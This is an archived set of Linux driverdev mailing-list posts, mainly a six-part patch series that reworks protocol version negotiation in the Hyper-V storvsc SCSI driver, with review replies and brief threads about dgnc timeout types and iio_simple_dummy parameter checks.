VMSTOR_WIN8_MAJOR) { + if (vmstor_proto_version <= VMSTOR_PROTO_VERSION_WIN8) { /* * On legacy hosts filter unimplemented commands. * Future hosts are expected to correctly handle @@ -1760,16 +1745,14 @@ static int storvsc_probe(struct hv_device *device, if (vmbus_proto_version < VERSION_WIN8) { sense_buffer_size = PRE_WIN8_STORVSC_SENSE_BUFFER_SIZE; vmscsi_size_delta = sizeof(struct vmscsi_win8_extension); - vmstor_current_major = VMSTOR_WIN7_MAJOR; - vmstor_current_minor = VMSTOR_WIN7_MINOR; + vmstor_proto_version = VMSTOR_PROTO_VERSION_WIN7; max_luns_per_target = STORVSC_IDE_MAX_LUNS_PER_TARGET; max_targets = STORVSC_IDE_MAX_TARGETS; max_channels = STORVSC_IDE_MAX_CHANNELS; } else { sense_buffer_size = POST_WIN7_STORVSC_SENSE_BUFFER_SIZE; vmscsi_size_delta = 0; - vmstor_current_major = VMSTOR_WIN8_MAJOR; - vmstor_current_minor = VMSTOR_WIN8_MINOR; + vmstor_proto_version = VMSTOR_PROTO_VERSION_WIN8; max_luns_per_target = STORVSC_MAX_LUNS_PER_TARGET; max_targets = STORVSC_MAX_TARGETS; max_channels = STORVSC_MAX_CHANNELS; -- 1.7.4.1 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH 6/6] scsi: storvsc: Allow write_same when host is windows 10
From: keith.ma...@microsoft.com Allow WRITE_SAME for Windows10 and above hosts. Tested-by: Alex Ng Signed-off-by: Keith Mange Signed-off-by: K. Y. Srinivasan --- drivers/scsi/storvsc_drv.c |6 +- 1 files changed, 5 insertions(+), 1 deletions(-) diff --git a/drivers/scsi/storvsc_drv.c b/drivers/scsi/storvsc_drv.c index 58fa47a..021cbdf 100644 --- a/drivers/scsi/storvsc_drv.c +++ b/drivers/scsi/storvsc_drv.c @@ -1488,7 +1488,8 @@ static int storvsc_device_configure(struct scsi_device *sdevice) /* * If the host is WIN8 or WIN8 R2, claim conformance to SPC-3 -* if the device is a MSFT virtual device. +* if the device is a MSFT virtual device. If the host is +* WIN10 or newer, allow write_same. */ if (!strncmp(sdevice->vendor, "Msft", 4)) { switch (vmstor_proto_version) { @@ -1497,6 +1498,9 @@ static int storvsc_device_configure(struct scsi_device *sdevice) sdevice->scsi_level = SCSI_SPC_3; break; } + + if (vmstor_proto_version >= VMSTOR_PROTO_VERSION_WIN10) + sdevice->no_write_same = 0; } return 0; -- 1.7.4.1 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH 3/6] hv:scsi:Untangle the storage protocol negotiation from the vmbus protocol negotiation.
From: keith.ma...@microsoft.com Currently we are making decisions based on vmbus protocol versions that have been negotiated; use storage potocol versions instead. Tested-by: Alex Ng Signed-off-by: Keith Mange Signed-off-by: K. Y. Srinivasan --- drivers/scsi/storvsc_drv.c | 109 +++- 1 files changed, 87 insertions(+), 22 deletions(-) diff --git a/drivers/scsi/storvsc_drv.c b/drivers/scsi/storvsc_drv.c index 5f9d133..f29871e 100644 --- a/drivers/scsi/storvsc_drv.c +++ b/drivers/scsi/storvsc_drv.c @@ -56,14 +56,18 @@ * V1 RC > 2008/1/31: 2.0 * Win7: 4.2 * Win8: 5.1 + * Win8.1: 6.0 + * Win10: 6.2 */ #define VMSTOR_PROTO_VERSION(MAJOR_, MINOR_) MAJOR_) & 0xff) << 8) | \ (((MINOR_) & 0xff))) +#define VMSTOR_PROTO_VERSION_WIN6 VMSTOR_PROTO_VERSION(2, 0) #define VMSTOR_PROTO_VERSION_WIN7 VMSTOR_PROTO_VERSION(4, 2) #define VMSTOR_PROTO_VERSION_WIN8 VMSTOR_PROTO_VERSION(5, 1) - +#define VMSTOR_PROTO_VERSION_WIN8_1VMSTOR_PROTO_VERSION(6, 0) +#define VMSTOR_PROTO_VERSION_WIN10 VMSTOR_PROTO_VERSION(6, 2) /* Packet structure describing virtual storage requests. */ enum vstor_packet_operation { @@ -205,6 +209,46 @@ struct vmscsi_request { /* + * The list of storage protocols in order of preference. + */ +struct vmstor_protocol { + int protocol_version; + int sense_buffer_size; + int vmscsi_size_delta; +}; + +#define VMSTOR_NUM_PROTOCOLS5 + +const struct vmstor_protocol vmstor_protocols[VMSTOR_NUM_PROTOCOLS] = { + { + VMSTOR_PROTO_VERSION_WIN10, + POST_WIN7_STORVSC_SENSE_BUFFER_SIZE, + 0 + }, + { + VMSTOR_PROTO_VERSION_WIN8_1, + POST_WIN7_STORVSC_SENSE_BUFFER_SIZE, + 0 + }, + { + VMSTOR_PROTO_VERSION_WIN8, + POST_WIN7_STORVSC_SENSE_BUFFER_SIZE, + 0 + }, + { + VMSTOR_PROTO_VERSION_WIN7, + PRE_WIN8_STORVSC_SENSE_BUFFER_SIZE, + sizeof(struct vmscsi_win8_extension), + }, + { + VMSTOR_PROTO_VERSION_WIN6, + PRE_WIN8_STORVSC_SENSE_BUFFER_SIZE, + sizeof(struct vmscsi_win8_extension), + } +}; + + +/* * This structure is sent during the intialization phase to get the different * properties of the channel. */ @@ -871,7 +915,7 @@ static int storvsc_channel_init(struct hv_device *device) struct storvsc_device *stor_device; struct storvsc_cmd_request *request; struct vstor_packet *vstor_packet; - int ret, t; + int ret, t, i; int max_chns; bool process_sub_channels = false; @@ -911,36 +955,59 @@ static int storvsc_channel_init(struct hv_device *device) goto cleanup; - /* reuse the packet for version range supported */ - memset(vstor_packet, 0, sizeof(struct vstor_packet)); - vstor_packet->operation = VSTOR_OPERATION_QUERY_PROTOCOL_VERSION; - vstor_packet->flags = REQUEST_COMPLETION_FLAG; + for (i = 0; i < VMSTOR_NUM_PROTOCOLS; i++) { + /* reuse the packet for version range supported */ + memset(vstor_packet, 0, sizeof(struct vstor_packet)); + vstor_packet->operation = + VSTOR_OPERATION_QUERY_PROTOCOL_VERSION; + vstor_packet->flags = REQUEST_COMPLETION_FLAG; - vstor_packet->version.major_minor = vmstor_proto_version; + vstor_packet->version.major_minor = + vmstor_protocols[i].protocol_version; - /* -* The revision number is only used in Windows; set it to 0. -*/ - vstor_packet->version.revision = 0; + /* +* The revision number is only used in Windows; set it to 0. +*/ + vstor_packet->version.revision = 0; - ret = vmbus_sendpacket(device->channel, vstor_packet, + ret = vmbus_sendpacket(device->channel, vstor_packet, (sizeof(struct vstor_packet) - vmscsi_size_delta), (unsigned long)request, VM_PKT_DATA_INBAND, VMBUS_DATA_PACKET_FLAG_COMPLETION_REQUESTED); - if (ret != 0) - goto cleanup; + if (ret != 0) + goto cleanup; - t = wait_for_completion_timeout(&request->wait_event, 5*HZ); - if (t == 0) { - ret = -ETIMEDOUT; - goto cleanup; + t = wait_for_completion_timeout(&request->wait_event, 5*HZ); + if (t == 0) { + ret = -ETIMEDOUT; + goto cleanup; + } + + if (vstor_packet->operation != VSTOR_OPERATION_COMPLETE_IO) { +
[PATCH 4/6] scsi: storvsc: use correct defaults for values determined by protocol negotiation
From: keith.ma...@microsoft.com Use correct defaults for values determined by protocol negotiation, instead of resetting them with every scsi controller. Tested-by: Alex Ng Signed-off-by: Keith Mange Signed-off-by: K. Y. Srinivasan --- drivers/scsi/storvsc_drv.c | 33 +++-- 1 files changed, 19 insertions(+), 14 deletions(-) diff --git a/drivers/scsi/storvsc_drv.c b/drivers/scsi/storvsc_drv.c index f29871e..6f38cdf 100644 --- a/drivers/scsi/storvsc_drv.c +++ b/drivers/scsi/storvsc_drv.c @@ -151,19 +151,17 @@ struct hv_fc_wwn_packet { /* * Sense buffer size changed in win8; have a run-time - * variable to track the size we should use. + * variable to track the size we should use. This value will + * likely change during protocol negotiation but it is valid + * to start by assuming pre-Win8. */ -static int sense_buffer_size; +static int sense_buffer_size = PRE_WIN8_STORVSC_SENSE_BUFFER_SIZE; /* - * The size of the vmscsi_request has changed in win8. The - * additional size is because of new elements added to the - * structure. These elements are valid only when we are talking - * to a win8 host. - * Track the correction to size we need to apply. - */ - -static int vmscsi_size_delta; + * The storage protocol version is determined during the + * initial exchange with the host. It will indicate which + * storage functionality is available in the host. +*/ static int vmstor_proto_version; struct vmscsi_win8_extension { @@ -209,6 +207,17 @@ struct vmscsi_request { /* + * The size of the vmscsi_request has changed in win8. The + * additional size is because of new elements added to the + * structure. These elements are valid only when we are talking + * to a win8 host. + * Track the correction to size we need to apply. This value + * will likely change during protocol negotiation but it is + * valid to start by assuming pre-Win8. + */ +static int vmscsi_size_delta = sizeof(struct vmscsi_win8_extension); + +/* * The list of storage protocols in order of preference. */ struct vmstor_protocol { @@ -1810,14 +1819,10 @@ static int storvsc_probe(struct hv_device *device, */ if (vmbus_proto_version < VERSION_WIN8) { - sense_buffer_size = PRE_WIN8_STORVSC_SENSE_BUFFER_SIZE; - vmscsi_size_delta = sizeof(struct vmscsi_win8_extension); max_luns_per_target = STORVSC_IDE_MAX_LUNS_PER_TARGET; max_targets = STORVSC_IDE_MAX_TARGETS; max_channels = STORVSC_IDE_MAX_CHANNELS; } else { - sense_buffer_size = POST_WIN7_STORVSC_SENSE_BUFFER_SIZE; - vmscsi_size_delta = 0; max_luns_per_target = STORVSC_MAX_LUNS_PER_TARGET; max_targets = STORVSC_MAX_TARGETS; max_channels = STORVSC_MAX_CHANNELS; -- 1.7.4.1 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH 1/6] scsi: storvsc: Rather than look for sets of specific protocol versions, make decisions based on ranges.
From: keith.ma...@microsoft.com Rather than look for sets of specific protocol versions, make decisions based on ranges. This will be safer and require fewer changes going forward as we add more storage protocol versions. Tested-by: Alex Ng Signed-off-by: Keith Mange Signed-off-by: K. Y. Srinivasan --- drivers/scsi/storvsc_drv.c | 11 +++ 1 files changed, 3 insertions(+), 8 deletions(-) diff --git a/drivers/scsi/storvsc_drv.c b/drivers/scsi/storvsc_drv.c index 3c6584f..582f3b5 100644 --- a/drivers/scsi/storvsc_drv.c +++ b/drivers/scsi/storvsc_drv.c @@ -988,8 +988,7 @@ static int storvsc_channel_init(struct hv_device *device) * support multi-channel. */ max_chns = vstor_packet->storage_channel_properties.max_channel_cnt; - if ((vmbus_proto_version != VERSION_WIN7) && - (vmbus_proto_version != VERSION_WS2008)) { + if (vmbus_proto_version >= VERSION_WIN8) { if (vstor_packet->storage_channel_properties.flags & STORAGE_CHANNEL_SUPPORTS_MULTI_CHANNEL) process_sub_channels = true; @@ -1758,9 +1757,7 @@ static int storvsc_probe(struct hv_device *device, * set state to properly communicate with the host. */ - switch (vmbus_proto_version) { - case VERSION_WS2008: - case VERSION_WIN7: + if (vmbus_proto_version < VERSION_WIN8) { sense_buffer_size = PRE_WIN8_STORVSC_SENSE_BUFFER_SIZE; vmscsi_size_delta = sizeof(struct vmscsi_win8_extension); vmstor_current_major = VMSTOR_WIN7_MAJOR; @@ -1768,8 +1765,7 @@ static int storvsc_probe(struct hv_device *device, max_luns_per_target = STORVSC_IDE_MAX_LUNS_PER_TARGET; max_targets = STORVSC_IDE_MAX_TARGETS; max_channels = STORVSC_IDE_MAX_CHANNELS; - break; - default: + } else { sense_buffer_size = POST_WIN7_STORVSC_SENSE_BUFFER_SIZE; vmscsi_size_delta = 0; vmstor_current_major = VMSTOR_WIN8_MAJOR; @@ -1783,7 +1779,6 @@ static int storvsc_probe(struct hv_device *device, * VCPUs in the guest. */ max_sub_channels = (num_cpus / storvsc_vcpus_per_sub_channel); - break; } scsi_driver.can_queue = (max_outstanding_req_per_channel * -- 1.7.4.1 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH 5/6] scsi: storvsc: use storage protocol version to determine storage capabilities
From: keith.ma...@microsoft.com Use storage protocol version instead of vmbus protocol version when determining storage capabilities. Tested-by: Alex Ng Signed-off-by: Keith Mange Signed-off-by: K. Y. Srinivasan --- drivers/scsi/storvsc_drv.c |8 1 files changed, 4 insertions(+), 4 deletions(-) diff --git a/drivers/scsi/storvsc_drv.c b/drivers/scsi/storvsc_drv.c index 6f38cdf..58fa47a 100644 --- a/drivers/scsi/storvsc_drv.c +++ b/drivers/scsi/storvsc_drv.c @@ -1049,7 +1049,7 @@ static int storvsc_channel_init(struct hv_device *device) * support multi-channel. */ max_chns = vstor_packet->storage_channel_properties.max_channel_cnt; - if (vmbus_proto_version >= VERSION_WIN8) { + if (vmstor_proto_version >= VMSTOR_PROTO_VERSION_WIN8) { if (vstor_packet->storage_channel_properties.flags & STORAGE_CHANNEL_SUPPORTS_MULTI_CHANNEL) process_sub_channels = true; @@ -1491,9 +1491,9 @@ static int storvsc_device_configure(struct scsi_device *sdevice) * if the device is a MSFT virtual device. */ if (!strncmp(sdevice->vendor, "Msft", 4)) { - switch (vmbus_proto_version) { - case VERSION_WIN8: - case VERSION_WIN8_1: + switch (vmstor_proto_version) { + case VMSTOR_PROTO_VERSION_WIN8: + case VMSTOR_PROTO_VERSION_WIN8_1: sdevice->scsi_level = SCSI_SPC_3; break; } -- 1.7.4.1 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH 0/6] scsi: storvsc: Some miscellaneous cleanup
Cleanup version handling as well as base feature detection on storage version as opposed to host version. keith.ma...@microsoft.com (6): scsi: storvsc: Rather than look for sets of specific protocol versions, make decisions based on ranges. scsi: storvsc: Use a single value to track protocol versions hv:scsi:Untangle the storage protocol negotiation from the vmbus protocol negotiation. scsi: storvsc: use correct defaults for values determined by protocol negotiation scsi: storvsc: use storage protocol version to determine storage capabilities scsi: storvsc: Allow write_same when host is windows 10 drivers/scsi/storvsc_drv.c | 194 1 files changed, 123 insertions(+), 71 deletions(-) -- 1.7.4.1 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH 2/2] staging: dgnc: switch timeout to signed type
On Fri, 29 May 2015, Dan Carpenter wrote: > On Fri, May 29, 2015 at 07:21:26PM +0200, Nicholas Mc Guire wrote: > > On Fri, 29 May 2015, Dan Carpenter wrote: > > > > > On Fri, May 29, 2015 at 06:41:28PM +0200, Nicholas Mc Guire wrote: > > > > The schedule_timeout*() helpers take the timeout as signed long, as > > > > ch_close_delay in struct channel_t was not used for other purposes its > > > > type was switched to signed long and the declarations fixed up. > > > > > > Uh, we never pass it to schedule_timeout etc and even if we did how > > > would that matter? It's either 250 or 0. > > > > > > What is the bug you are trying to fix and we can help you? > > > > > static code checkers being unhappy with type mismatch > > automatic type conversion is ok if necessary but in this > > case it simply is not as the ch_close_delay is only being > > used in this one place so why not do it type clean ? > > This seems like a pointless warning. What does the warning look like? > We pass ms to msecs_to_jiffies() and not to schedule_timeout() so it > seems like somewhere something is confused. Not really - just my carelessness - the msecs_to_jiffies was not in there and I fixed up the types first - then put the msecs_to_jiffies in there to fix up the time conversion ...oh well took the type conversion out just to put it back in my self...sorry thats a bit braindead. thanks for catching that. > > > I'll turn the question around - what reason would there be to > > go through type conversion if it is not needed ? > > You can go crazy if you do ever pointless change which a static analysis > tool suggests... > > Btw, Smatch says that "ms" is always 250 here, actually. I was guessing > earlier when I said it could be zero. Get a smarter static checker > which can read code. wont blame it on coccinelle - its my scripts that are to blame - but in this case it was the cleanup after the fix for the warning that broke it. so 2/2 is pointless - sorry for that - pleas just toss it. thx! hofrat ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH 2/2] staging: iio_simple_dummy: zero check param
On Thu, May 28, 2015 at 09:59:34AM +0300, Dan Carpenter wrote: > On Thu, May 28, 2015 at 01:12:40AM +0300, Vladimirs Ambrosovs wrote: > > On Wed, May 27, 2015 at 11:25:07AM +0300, Dan Carpenter wrote: > > > On Wed, May 27, 2015 at 01:19:58AM +0300, Vladimirs Ambrosovs wrote: > > > > Check for zero was added to the module parameter "instances" to > > > > avoid the allocation of array of zero values. Although it is a valid > > > > call, > > > > we don't want to allocate ZERO_SIZE_PTR, so need to disallow this case. > > > > The type of variables which are compared to "instances" were also > > > > changed > > > > to unsigned int so that no compiler complaints occur. > > > > > > Which compiler is that? > > > > > > You should get a different compiler if you compiler complains about > > > stupid stuff like that. Making everything unsigned int is a common > > > cause of problems. I fixed or reported several of those bugs yesterday. > > > > > > "instances" should be unsigned int, though, you're correct about that. > > > > > Mine is fine - not complaining ;). > > > > Got your point, although, in some cases, I think, these warnings not a > > stupid stuff, and could get some junior out of trouble. > > > > But anyway, will keep in mind to stay away from unsigned ints. > > It's not a matter of staying away from unsigned ints, it's that some > people make everything unsigned by default. That causes problems for > two reasons. 1) The kernel uses negative error codes. 2) int is the > default datatype when you want a "number" in C. If you want a special > number then you make it unsigned int, u32, or unsigned long or whatever. > All those types mean something. An unsigned int and a u32 are the same > to a computer but to a human they mean something different. People who > use complicated datatypes all the time instead of just plain old int are > making the code complicated. > > Thanks for the explanation. > > > > > > > > Signed-off-by: Vladimirs Ambrosovs > > > > --- > > > > drivers/staging/iio/iio_simple_dummy.c | 9 + > > > > 1 file changed, 5 insertions(+), 4 deletions(-) > > > > > > > > diff --git a/drivers/staging/iio/iio_simple_dummy.c > > > > b/drivers/staging/iio/iio_simple_dummy.c > > > > index 88fbb4f..2744a1b 100644 > > > > --- a/drivers/staging/iio/iio_simple_dummy.c > > > > +++ b/drivers/staging/iio/iio_simple_dummy.c > > > > @@ -30,7 +30,7 @@ > > > > * dummy devices are registered. > > > > */ > > > > static unsigned instances = 1; > > > > -module_param(instances, int, 0); > > > > +module_param(instances, uint, 0); > > > > > > > > /* Pointer array used to fake bus elements */ > > > > static struct iio_dev **iio_dummy_devs; > > > > @@ -706,9 +706,10 @@ static void iio_dummy_remove(int index) > > > > */ > > > > static __init int iio_dummy_init(void) > > > > { > > > > - int i, ret; > > > > + unsigned int i; > > > > + int ret; > > > > > > No. > > > > > > > > > > > - if (instances > 10) { > > > > + if (instances == 0 || instances > 10) { > > > > instances = 1; > > > > return -EINVAL; > > > > > > Allocating zero size arrays is a totally valid thing the kernel and it > > > doesn't cause a problem unless there are other existing serious bugs in > > > the code. In this case instances == 0 is fine. > > > > > Sorry, got a bit confused - is it fine to be in the code, or the 0 > > value is valid, and shouldn't be checked for? The idea behind this > > change was not the allocation of zero size array, but the > > use of the module with 0 instances. > > The changelog specifically mentioned a ZERO_SIZE_ARRAY. If you had > said, "It doesn't make sense to load a module with 0 instances" then I > would have allowed the patch. I don't care if you make this change or > not, but the changelog had wrong motivation. > Fair enough. > regards, > dan carpenter BR, Vladimirs ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH] staging: ft1000: warning removal: extern functions to static ones
On Thu, May 28, 2015 at 11:16:27PM +0200, Xavier Roche wrote: > Hi Greg & mailing-list members, > > On Thu, 28 May 2015, Greg KH wrote: > >In the future, always use scripts/get_maintainer.pl to determine who to > >send patches to please. > > Sorry, I did use the get_maintainer.pl script, but I did not want to bother > too many people, and I only picked Marek in CC: (I also did not include > commit_signer/authored emails) > > I also did not include triv...@kernel.org this time - wasn't sure is this > was "trivial enough". No need to bother the trivial maintainer for staging patches, I have no problem taking them myself. thanks, greg k-h ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
RE: [PATCH 1/6] scsi: storvsc: Rather than look for sets of specific protocol versions, make decisions based on ranges.
> -Original Message- > From: devel [mailto:driverdev-devel-boun...@linuxdriverproject.org] On > Behalf Of K. Y. Srinivasan > Sent: Friday, May 29, 2015 1:29 PM > To: gre...@linuxfoundation.org; linux-ker...@vger.kernel.org; > de...@linuxdriverproject.org; oher...@suse.com; jbottom...@parallels.com; > h...@infradead.org; linux-s...@vger.kernel.org; a...@canonical.com; > vkuzn...@redhat.com; jasow...@redhat.com > Cc: Keith Mange > Subject: [PATCH 1/6] scsi: storvsc: Rather than look for sets of specific > protocol > versions, make decisions based on ranges. > > From: keith.ma...@microsoft.com > > Rather than look for sets of specific protocol versions, make decisions based > on > ranges. This will be safer and require fewer changes going forward as we add > more storage protocol versions. > Reviewed-by: Long Li > Tested-by: Alex Ng > Signed-off-by: Keith Mange > Signed-off-by: K. Y. Srinivasan > --- > drivers/scsi/storvsc_drv.c | 11 +++ > 1 files changed, 3 insertions(+), 8 deletions(-) > > diff --git a/drivers/scsi/storvsc_drv.c b/drivers/scsi/storvsc_drv.c index > 3c6584f..582f3b5 100644 > --- a/drivers/scsi/storvsc_drv.c > +++ b/drivers/scsi/storvsc_drv.c > @@ -988,8 +988,7 @@ static int storvsc_channel_init(struct hv_device *device) >* support multi-channel. >*/ > max_chns = vstor_packet- > >storage_channel_properties.max_channel_cnt; > - if ((vmbus_proto_version != VERSION_WIN7) && > -(vmbus_proto_version != VERSION_WS2008)) { > + if (vmbus_proto_version >= VERSION_WIN8) { > if (vstor_packet->storage_channel_properties.flags & > STORAGE_CHANNEL_SUPPORTS_MULTI_CHANNEL) > process_sub_channels = true; > @@ -1758,9 +1757,7 @@ static int storvsc_probe(struct hv_device *device, >* set state to properly communicate with the host. >*/ > > - switch (vmbus_proto_version) { > - case VERSION_WS2008: > - case VERSION_WIN7: > + if (vmbus_proto_version < VERSION_WIN8) { > sense_buffer_size = PRE_WIN8_STORVSC_SENSE_BUFFER_SIZE; > vmscsi_size_delta = sizeof(struct vmscsi_win8_extension); > vmstor_current_major = VMSTOR_WIN7_MAJOR; @@ - > 1768,8 +1765,7 @@ static int storvsc_probe(struct hv_device *device, > max_luns_per_target = > STORVSC_IDE_MAX_LUNS_PER_TARGET; > max_targets = STORVSC_IDE_MAX_TARGETS; > max_channels = STORVSC_IDE_MAX_CHANNELS; > - break; > - default: > + } else { > sense_buffer_size = > POST_WIN7_STORVSC_SENSE_BUFFER_SIZE; > vmscsi_size_delta = 0; > vmstor_current_major = VMSTOR_WIN8_MAJOR; @@ - > 1783,7 +1779,6 @@ static int storvsc_probe(struct hv_device *device, >* VCPUs in the guest. >*/ > max_sub_channels = (num_cpus / > storvsc_vcpus_per_sub_channel); > - break; > } > > scsi_driver.can_queue = (max_outstanding_req_per_channel * > -- > 1.7.4.1 > > ___ > devel mailing list > de...@linuxdriverproject.org > http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
RE: [PATCH 2/6] scsi: storvsc: Use a single value to track protocol versions
> -Original Message- > From: devel [mailto:driverdev-devel-boun...@linuxdriverproject.org] On > Behalf Of K. Y. Srinivasan > Sent: Friday, May 29, 2015 1:29 PM > To: gre...@linuxfoundation.org; linux-ker...@vger.kernel.org; > de...@linuxdriverproject.org; oher...@suse.com; jbottom...@parallels.com; > h...@infradead.org; linux-s...@vger.kernel.org; a...@canonical.com; > vkuzn...@redhat.com; jasow...@redhat.com > Cc: Keith Mange > Subject: [PATCH 2/6] scsi: storvsc: Use a single value to track protocol > versions > > From: keith.ma...@microsoft.com > > Use a single value to track protocol versions to simplify comparisons and to > be > consistent with vmbus version tracking. > Reviewed-by: Long Li > Tested-by: Alex Ng > Signed-off-by: Keith Mange > Signed-off-by: K. Y. Srinivasan > --- > drivers/scsi/storvsc_drv.c | 35 +-- > 1 files changed, 9 insertions(+), 26 deletions(-) > > diff --git a/drivers/scsi/storvsc_drv.c b/drivers/scsi/storvsc_drv.c index > 582f3b5..5f9d133 100644 > --- a/drivers/scsi/storvsc_drv.c > +++ b/drivers/scsi/storvsc_drv.c > @@ -58,12 +58,11 @@ > * Win8: 5.1 > */ > > +#define VMSTOR_PROTO_VERSION(MAJOR_, MINOR_) MAJOR_) & 0xff) > << 8) | \ > + (((MINOR_) & 0xff))) > > -#define VMSTOR_WIN7_MAJOR 4 > -#define VMSTOR_WIN7_MINOR 2 > - > -#define VMSTOR_WIN8_MAJOR 5 > -#define VMSTOR_WIN8_MINOR 1 > +#define VMSTOR_PROTO_VERSION_WIN7VMSTOR_PROTO_VERSION(4, > 2) > +#define VMSTOR_PROTO_VERSION_WIN8VMSTOR_PROTO_VERSION(5, > 1) > > > /* Packet structure describing virtual storage requests. */ @@ -161,8 +160,7 > @@ static int sense_buffer_size; > */ > > static int vmscsi_size_delta; > -static int vmstor_current_major; > -static int vmstor_current_minor; > +static int vmstor_proto_version; > > struct vmscsi_win8_extension { > /* > @@ -481,18 +479,6 @@ done: > kfree(wrk); > } > > -/* > - * Major/minor macros. Minor version is in LSB, meaning that earlier flat > - * version numbers will be interpreted as "0.x" (i.e., 1 becomes 0.1). > - */ > - > -static inline u16 storvsc_get_version(u8 major, u8 minor) -{ > - u16 version; > - > - version = ((major << 8) | minor); > - return version; > -} > > /* > * We can get incoming messages from the host that are not in response to > @@ -930,8 +916,7 @@ static int storvsc_channel_init(struct hv_device *device) > vstor_packet->operation = > VSTOR_OPERATION_QUERY_PROTOCOL_VERSION; > vstor_packet->flags = REQUEST_COMPLETION_FLAG; > > - vstor_packet->version.major_minor = > - storvsc_get_version(vmstor_current_major, > vmstor_current_minor); > + vstor_packet->version.major_minor = vmstor_proto_version; > > /* >* The revision number is only used in Windows; set it to 0. > @@ -1562,7 +1547,7 @@ static int storvsc_queuecommand(struct Scsi_Host > *host, struct scsi_cmnd *scmnd) > u32 payload_sz; > u32 length; > > - if (vmstor_current_major <= VMSTOR_WIN8_MAJOR) { > + if (vmstor_proto_version <= VMSTOR_PROTO_VERSION_WIN8) { > /* >* On legacy hosts filter unimplemented commands. >* Future hosts are expected to correctly handle @@ -1760,16 > +1745,14 @@ static int storvsc_probe(struct hv_device *device, > if (vmbus_proto_version < VERSION_WIN8) { > sense_buffer_size = PRE_WIN8_STORVSC_SENSE_BUFFER_SIZE; > vmscsi_size_delta = sizeof(struct vmscsi_win8_extension); > - vmstor_current_major = VMSTOR_WIN7_MAJOR; > - vmstor_current_minor = VMSTOR_WIN7_MINOR; > + vmstor_proto_version = VMSTOR_PROTO_VERSION_WIN7; > max_luns_per_target = > STORVSC_IDE_MAX_LUNS_PER_TARGET; > max_targets = STORVSC_IDE_MAX_TARGETS; > max_channels = STORVSC_IDE_MAX_CHANNELS; > } else { > sense_buffer_size = > POST_WIN7_STORVSC_SENSE_BUFFER_SIZE; > vmscsi_size_delta = 0; > - vmstor_current_major = VMSTOR_WIN8_MAJOR; > - vmstor_current_minor = VMSTOR_WIN8_MINOR; > + vmstor_proto_version = VMSTOR_PROTO_VERSION_WIN8; > max_luns_per_target = STORVSC_MAX_LUNS_PER_TARGET; > max_targets = STORVSC_MAX_TARGETS; > max_channels = STORVSC_MAX_CHANNELS; > -- > 1.7.4.1 > > ___ > devel mailing list > de...@linuxdriverproject.org > http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
RE: [PATCH 3/6] hv:scsi:Untangle the storage protocol negotiation from the vmbus protocol negotiation.
> -Original Message- > From: devel [mailto:driverdev-devel-boun...@linuxdriverproject.org] On > Behalf Of K. Y. Srinivasan > Sent: Friday, May 29, 2015 1:29 PM > To: gre...@linuxfoundation.org; linux-ker...@vger.kernel.org; > de...@linuxdriverproject.org; oher...@suse.com; jbottom...@parallels.com; > h...@infradead.org; linux-s...@vger.kernel.org; a...@canonical.com; > vkuzn...@redhat.com; jasow...@redhat.com > Cc: Keith Mange > Subject: [PATCH 3/6] hv:scsi:Untangle the storage protocol negotiation from > the vmbus protocol negotiation. > > From: keith.ma...@microsoft.com > > Currently we are making decisions based on vmbus protocol versions that have > been negotiated; use storage potocol versions instead. > Reviewed-by: Long Li > Tested-by: Alex Ng > Signed-off-by: Keith Mange > Signed-off-by: K. Y. Srinivasan > --- > drivers/scsi/storvsc_drv.c | 109 +++-- > --- > 1 files changed, 87 insertions(+), 22 deletions(-) > > diff --git a/drivers/scsi/storvsc_drv.c b/drivers/scsi/storvsc_drv.c index > 5f9d133..f29871e 100644 > --- a/drivers/scsi/storvsc_drv.c > +++ b/drivers/scsi/storvsc_drv.c > @@ -56,14 +56,18 @@ > * V1 RC > 2008/1/31: 2.0 > * Win7: 4.2 > * Win8: 5.1 > + * Win8.1: 6.0 > + * Win10: 6.2 > */ > > #define VMSTOR_PROTO_VERSION(MAJOR_, MINOR_) MAJOR_) & 0xff) > << 8) | \ > (((MINOR_) & 0xff))) > > +#define VMSTOR_PROTO_VERSION_WIN6VMSTOR_PROTO_VERSION(2, > 0) > #define VMSTOR_PROTO_VERSION_WIN7VMSTOR_PROTO_VERSION(4, > 2) > #define VMSTOR_PROTO_VERSION_WIN8VMSTOR_PROTO_VERSION(5, > 1) > - > +#define VMSTOR_PROTO_VERSION_WIN8_1 VMSTOR_PROTO_VERSION(6, > 0) > +#define VMSTOR_PROTO_VERSION_WIN10 VMSTOR_PROTO_VERSION(6, > 2) > > /* Packet structure describing virtual storage requests. */ enum > vstor_packet_operation { @@ -205,6 +209,46 @@ struct vmscsi_request { > > > /* > + * The list of storage protocols in order of preference. > + */ > +struct vmstor_protocol { > + int protocol_version; > + int sense_buffer_size; > + int vmscsi_size_delta; > +}; > + > +#define VMSTOR_NUM_PROTOCOLS5 > + > +const struct vmstor_protocol vmstor_protocols[VMSTOR_NUM_PROTOCOLS] > = { > + { > + VMSTOR_PROTO_VERSION_WIN10, > + POST_WIN7_STORVSC_SENSE_BUFFER_SIZE, > + 0 > + }, > + { > + VMSTOR_PROTO_VERSION_WIN8_1, > + POST_WIN7_STORVSC_SENSE_BUFFER_SIZE, > + 0 > + }, > + { > + VMSTOR_PROTO_VERSION_WIN8, > + 